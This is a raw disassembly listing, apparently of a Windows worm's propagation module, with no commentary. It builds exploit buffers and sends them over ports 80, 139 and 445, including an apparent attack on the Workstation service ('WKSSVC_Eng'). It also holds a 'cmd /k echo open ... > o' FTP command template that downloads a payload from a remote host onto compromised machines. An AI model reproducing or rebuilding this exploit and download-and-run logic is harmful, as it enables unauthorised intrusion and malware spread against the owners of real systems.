		call	sub_4026EE


loc_402745:				; CODE XREF: sub_40272A+12j
		pop	esi
		retn	8
sub_40272A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402749	proc near		; CODE XREF: sub_402F48+86p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_4024D5
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_402A9D
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_402A9D
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_4024D5
		lea	ecx, [ebp+var_20]
		call	sub_4024D5
		lea	ecx, [ebp+var_50]
		call	sub_4024D5
		lea	ecx, [ebp+var_18]
		call	sub_4024D5
		lea	ecx, [ebp+var_40]
		call	sub_4024D5
		lea	ecx, [ebp+var_38]
		call	sub_4024D5
		lea	ecx, [ebp+var_28]
		call	sub_4024D5
		push	4
		push	offset dword_421E30
		lea	ecx, [ebp+var_30]
		call	sub_40268D
		push	3
		push	offset dword_421E38
		lea	ecx, [ebp+var_30]
		call	sub_40268D
		lea	ecx, [ebp+var_30]
		call	sub_402613
		lea	ecx, [ebp+var_30]
		call	sub_4026EE
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40268D
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40268D
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40268D
		lea	ecx, [ebp+var_20]
		call	sub_402613
		push	offset dword_4221B8
		lea	ecx, [ebp+var_50]
		call	sub_4026C1
		lea	ecx, [ebp+var_50]
		call	sub_402613
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_4024DF
		lea	ecx, [ebp+var_58]
		call	sub_402613
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40272A
		lea	ecx, [ebp+var_58]
		call	sub_40256E
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_413890
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_4026C1
		push	4
		push	offset dword_421E3C
		lea	ecx, [ebp+var_18]
		call	sub_40268D
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40268D
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40268D
		lea	ecx, [ebp+var_18]
		call	sub_402613
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_4026DE
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_4026DE
		lea	ecx, [ebp+var_40]
		call	sub_4026EE
		lea	ecx, [ebp+var_18]
		call	sub_40256E
		lea	ecx, [ebp+var_50]
		call	sub_40256E
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_4026DE
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_4026DE
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_4026DE
		lea	ecx, [ebp+var_38]
		call	sub_4026EE
		lea	ecx, [ebp+var_20]
		call	sub_40256E
		lea	ecx, [ebp+var_30]
		call	sub_40256E
		lea	ecx, [ebp+var_40]
		call	sub_40256E
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40268D
		lea	ecx, [ebp+var_28]
		call	sub_402613
		push	2
		push	offset dword_4221AC
		lea	ecx, [ebp+var_28]
		call	sub_40268D
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_4026DE
		lea	ecx, [ebp+var_28]
		call	sub_4026EE
		lea	ecx, [ebp+var_38]
		call	sub_40256E
		lea	ecx, [ebp+var_10]
		call	sub_4024D5
		lea	ecx, [ebp+var_8]
		call	sub_4024D5
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_4026DE
		lea	ecx, [ebp+var_10]
		call	sub_402587
		lea	ecx, [ebp+var_28]
		call	sub_40256E
		push	offset dword_4221A8
		lea	ecx, [ebp+var_8]
		call	sub_4026C1
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_4026DE
		lea	ecx, [ebp+var_8]
		call	sub_402587
		lea	ecx, [ebp+var_10]
		call	sub_40256E
		push	offset dword_4221A4
		lea	ecx, [ebp+var_10]
		call	sub_4026C1
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_4026DE
		lea	ecx, [ebp+var_10]
		call	sub_402587
		lea	ecx, [ebp+var_8]
		call	sub_40256E
		push	offset dword_422198
		lea	ecx, [ebp+var_8]
		call	sub_4026C1
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_4026DE
		lea	ecx, [ebp+var_8]
		call	sub_402587
		lea	ecx, [ebp+var_10]
		call	sub_40256E
		push	offset dword_422194
		lea	ecx, [ebp+var_48]
		call	sub_4026C1
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_4026DE
		lea	ecx, [ebp+var_8]
		call	sub_40256E
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_402AAB
; ---------------------------------------------------------------------------


loc_402A9D:				; CODE XREF: sub_402749+1Bj
					; sub_402749+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_402AAB:				; CODE XREF: sub_402749+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_402749	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AAF	proc near		; CODE XREF: sub_402B73+A1p
					; sub_402B73+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_41F1D4	; select
		cmp	eax, edi
		jnz	short loc_402B16
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_41E428	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_402B1A


loc_402B16:				; CODE XREF: sub_402AAF+54j
		xor	eax, eax
		jmp	short loc_402B2A
; ---------------------------------------------------------------------------


loc_402B1A:				; CODE XREF: sub_402AAF+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_44CCF4	; recv


loc_402B2A:				; CODE XREF: sub_402AAF+69j
		pop	edi
		pop	esi
		leave
		retn
sub_402AAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B2E	proc near		; CODE XREF: sub_402B73+81p
					; sub_402B73+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_44CCD8	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	eax, 4
		jz	short loc_402B58
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_402B58:				; CODE XREF: sub_402B2E+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_402B2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B73	proc near		; CODE XREF: sub_402C4D+48p
					; sub_402F48+181p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_402B9C
		xor	al, al
		jmp	loc_402C48
; ---------------------------------------------------------------------------


loc_402B9C:				; CODE XREF: sub_402B73+20j
		push	ebx
		push	0
		push	esi
		call	sub_413890
		push	2Fh
		push	offset dword_421ECC
		push	esi
		call	sub_4138F0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_421EFC
		push	eax
		mov	[esi+2Fh], di
		call	sub_4138F0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4138F0
		push	6
		add	ebx, edi
		push	offset dword_438A04
		push	ebx
		call	sub_4138F0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_421E44
		push	ebx
		call	sub_402B2E
		add	esp, 48h
		test	al, al
		jnz	short loc_402C04


loc_402C00:				; CODE XREF: sub_402B73+B5j
		xor	bl, bl
		jmp	short loc_402C3F
; ---------------------------------------------------------------------------


loc_402C04:				; CODE XREF: sub_402B73+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402AAF
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_402B2E
		add	esp, 1Ch
		test	al, al
		jz	short loc_402C00
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402AAF
		add	esp, 10h
		mov	bl, 1


loc_402C3F:				; CODE XREF: sub_402B73+8Fj
		push	esi
		call	sub_413F7F
		pop	ecx
		mov	al, bl


loc_402C48:				; CODE XREF: sub_402B73+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402B73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C4D	proc near		; CODE XREF: sub_402F48+167p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_421F08
		push	[ebp+arg_0]
		call	ds:dword_41F1D0	; send
		cmp	eax, 48h
		jnz	short loc_402C88
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_402AAF
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C88
		cmp	[ebp+var_20], 82h
		jz	short loc_402C8C


loc_402C88:				; CODE XREF: sub_402C4D+1Bj
					; sub_402C4D+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_402C8C:				; CODE XREF: sub_402C4D+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402B73
		add	esp, 0Ch
		leave
		retn
sub_402C4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C9F	proc near		; CODE XREF: sub_402CEB+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_41F238
		call	sub_4140D0
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_41F230
		fstp	[esp+10h+var_10]
		call	sub_413FAE
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_4140D0
		inc	eax
		leave
		retn
sub_402C9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_402CEB	proc near		; CODE XREF: sub_402E8D+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_41E61F
		call	sub_41459C
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_403362
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_402C9F
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_402D2D
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4032DD


loc_402D2D:				; CODE XREF: sub_402CEB+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_402E4A
		mov	ebx, [ebp+10h]


loc_402D3C:				; CODE XREF: sub_402CEB+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_402D46
		push	3
		jmp	short loc_402D58
; ---------------------------------------------------------------------------


loc_402D46:				; CODE XREF: sub_402CEB+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_402D50
		push	2
		jmp	short loc_402D58
; ---------------------------------------------------------------------------


loc_402D50:				; CODE XREF: sub_402CEB+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_402D59
		push	1


loc_402D58:				; CODE XREF: sub_402CEB+59j
					; sub_402CEB+63j
		pop	ebx


loc_402D59:				; CODE XREF: sub_402CEB+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_41F248
		fstp	[esp+40h+var_40]
		call	sub_4140F7
		pop	ecx
		pop	ecx
		call	sub_4140D0
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_402D98
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_402D98:				; CODE XREF: sub_402CEB+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_402E06
		add	[ebp-18h], eax


loc_402DEA:				; CODE XREF: sub_402CEB+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_421F54[eax]
		push	eax
		push	1
		call	sub_40315F
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_402DEA


loc_402E06:				; CODE XREF: sub_402CEB+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_402E24
		push	dword ptr [ebp+14h]
		call	sub_413E90
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4031B8
		mov	[ebp-18h], edi


loc_402E24:				; CODE XREF: sub_402CEB+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_402E3E
		sub	esi, [ebp-1Ch]


loc_402E2F:				; CODE XREF: sub_402CEB+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40315F
		dec	esi
		jnz	short loc_402E2F


loc_402E3E:				; CODE XREF: sub_402CEB+13Fj
		cmp	[ebp+10h], edi
		ja	loc_402D3C
		push	1
		pop	ebx


loc_402E4A:				; CODE XREF: sub_402CEB+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_403362
		push	ds:dword_41F240
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40320F
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_403362
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_402CEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E8D	proc near		; CODE XREF: sub_402F48+14Ap
		mov	eax, offset loc_41E63C
		call	sub_41459C
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_438A10
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_402CEB
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_413F0B
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_402ED7
		xor	bl, bl
		jmp	short loc_402F1B
; ---------------------------------------------------------------------------


loc_402ED7:				; CODE XREF: sub_402E8D+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_41F250
		cmp	ecx, ebx
		jnz	short loc_402EE5
		mov	ecx, eax


loc_402EE5:				; CODE XREF: sub_402E8D+54j
		cmp	[ebp+18h], ebx
		jz	short loc_402EED
		mov	eax, [ebp+18h]


loc_402EED:				; CODE XREF: sub_402E8D+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_413D8A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_44CD28	; send
		cmp	eax, esi
		jz	short loc_402F12
		xor	bl, bl
		jmp	short loc_402F14
; ---------------------------------------------------------------------------


loc_402F12:				; CODE XREF: sub_402E8D+7Fj
		mov	bl, 1


loc_402F14:				; CODE XREF: sub_402E8D+83j
		push	edi
		call	sub_413F7F
		pop	ecx


loc_402F1B:				; CODE XREF: sub_402E8D+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_403362
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_403362
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_402E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F48	proc near		; CODE XREF: sub_40211B+380p
					; sub_40211B+3A0p

var_524		= byte ptr -524h
var_523		= byte ptr -523h
var_495		= byte ptr -495h
var_124		= byte ptr -124h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BB		= byte ptr  0C3h

		push	ebp
		mov	ebp, esp
		sub	esp, 524h
		and	[ebp+var_524], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_523]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_524]
		push	offset dword_422100
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		mov	eax, offset aTilehome_com ; "Tilehome.com"
		push	eax
		push	eax
		push	dword_438A18
		push	[ebp+arg_0]
		call	sub_408A5D
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_495]
		push	400h
		push	eax
		call	sub_413D8A
		add	eax, 90h
		push	eax
		lea	eax, [ebp+var_524]
		push	eax
		push	164h
		lea	eax, [ebp+var_24]
		push	offset aSvwfbA	; "SVWf"
		push	eax
		call	sub_402749
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp+var_8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_402FEE
		xor	eax, eax
		jmp	loc_403152
; ---------------------------------------------------------------------------


loc_402FEE:				; CODE XREF: sub_402F48+9Dj
		mov	[ebp+var_C], esi


loc_402FF1:				; CODE XREF: sub_402F48+1A9j
		test	esi, esi
		jnz	loc_4030F7
		push	6
		push	1
		push	2
		call	ds:dword_41F1DC	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4030DF
		xor	eax, eax
		lea	edi, [ebp+var_1A]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_1C], 2
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_44CD18	; inet_addr
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	ebx
		call	dword_44CC88	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4030D4
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_40309C
		mov	al, [ebp+arg_BB]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp+var_20], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_403362
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_40339E
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402E8D
		add	esp, 1Ch
		jmp	short loc_4030D1
; ---------------------------------------------------------------------------


loc_40309C:				; CODE XREF: sub_402F48+112j
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_4030B6
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402C4D
		jmp	short loc_4030CE
; ---------------------------------------------------------------------------


loc_4030B6:				; CODE XREF: sub_402F48+15Ej
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_4030D4
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402B73


loc_4030CE:				; CODE XREF: sub_402F48+16Cj
		add	esp, 0Ch


loc_4030D1:				; CODE XREF: sub_402F48+152j
		movzx	esi, al


loc_4030D4:				; CODE XREF: sub_402F48+105j
					; sub_402F48+178j
		push	ebx
		call	dword_44CD70	; closesocket
		test	esi, esi
		jnz	short loc_4030EA


loc_4030DF:				; CODE XREF: sub_402F48+C2j
		push	3E8h
		call	ds:dword_41F050	; Sleep


loc_4030EA:				; CODE XREF: sub_402F48+195j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_402FF1


loc_4030F7:				; CODE XREF: sub_402F48+ABj
		lea	ecx, [ebp+var_8]
		call	sub_40256E
		test	esi, esi
		jz	short loc_403150
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aWkssvc_eng	; "WKSSVC_Eng"
		push	eax
		push	offset aSS_	; "%s//	%s."
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_425A60[eax]
		lea	eax, dword_425A60[eax]


loc_403150:				; CODE XREF: sub_402F48+1B9j
		mov	eax, esi


loc_403152:				; CODE XREF: sub_402F48+A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402F48	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E600


loc_403157:				; CODE XREF: sub_41E600+3j
					; .text:0041E619j ...
		push	1
		call	sub_403362
		retn
; END OF FUNCTION CHUNK	FOR sub_41E600

; =============== S U B	R O U T	I N E =======================================



sub_40315F	proc near		; CODE XREF: sub_402CEB+110p
					; sub_402CEB+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_41F240
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_403179
		call	sub_41E0D0


loc_403179:				; CODE XREF: sub_40315F+13j
		test	ebx, ebx
		jbe	short loc_4031B0
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4032DD
		test	al, al
		jz	short loc_4031B0
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_413890
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4031B0:				; CODE XREF: sub_40315F+1Cj
					; sub_40315F+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40315F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031B8	proc near		; CODE XREF: sub_402CEB+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_41F240
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4031D2
		call	sub_41E0D0


loc_4031D2:				; CODE XREF: sub_4031B8+13j
		test	ebx, ebx
		jbe	short loc_403207
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4032DD
		test	al, al
		jz	short loc_403207
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_4138F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_403207:				; CODE XREF: sub_4031B8+1Cj
					; sub_4031B8+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4031B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40320F	proc near		; CODE XREF: sub_402CEB+17Cp
					; sub_41E12A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_403227
		call	sub_41E2FC


loc_403227:				; CODE XREF: sub_40320F+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_403239
		mov	esi, [ebp+arg_8]


loc_403239:				; CODE XREF: sub_40320F+25j
		cmp	edi, ebx
